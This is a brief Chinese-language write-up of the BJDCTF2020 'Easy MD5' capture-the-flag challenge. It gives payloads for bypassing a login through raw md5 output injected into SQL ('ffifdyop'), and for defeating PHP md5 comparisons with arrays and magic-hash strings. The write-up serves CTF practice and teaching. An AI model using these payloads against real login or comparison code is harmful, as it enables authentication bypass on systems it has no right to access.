[BJDCTF2020]Easy MD5
查看源码
<form class="upload" action="leveldo4.php" method="GET">
<input type="text" id="name" name='password' class="in">
<input type="submit" class="give">
</form>
提交一个值抓包试试
发现响应头中有hint
Hint: select * from 'admin' where password=md5($pass,true)
这里考察md5的知识
md5($pass,true)
返回$pass md5的16进制内容,输出解析就形成
'or'6XXXX
被sql语句解析,就能形成拼接
payload
password=ffifdyop
拼接后:select * from 'admin' where password=''or'6XXXX'即可绕过
进入levels91.php Do You Like MD5?查看源码
<!--
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
-->
这里又考察哈希碰撞,也可以用[]绕过 == !=
payload
a[]=1&b[]=2
or
a=s878926199a&b=s155964671a
得到源码
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
这里一样,md5[]绕过 === !==
payload
param1[]=1¶m2[]=2
得到flag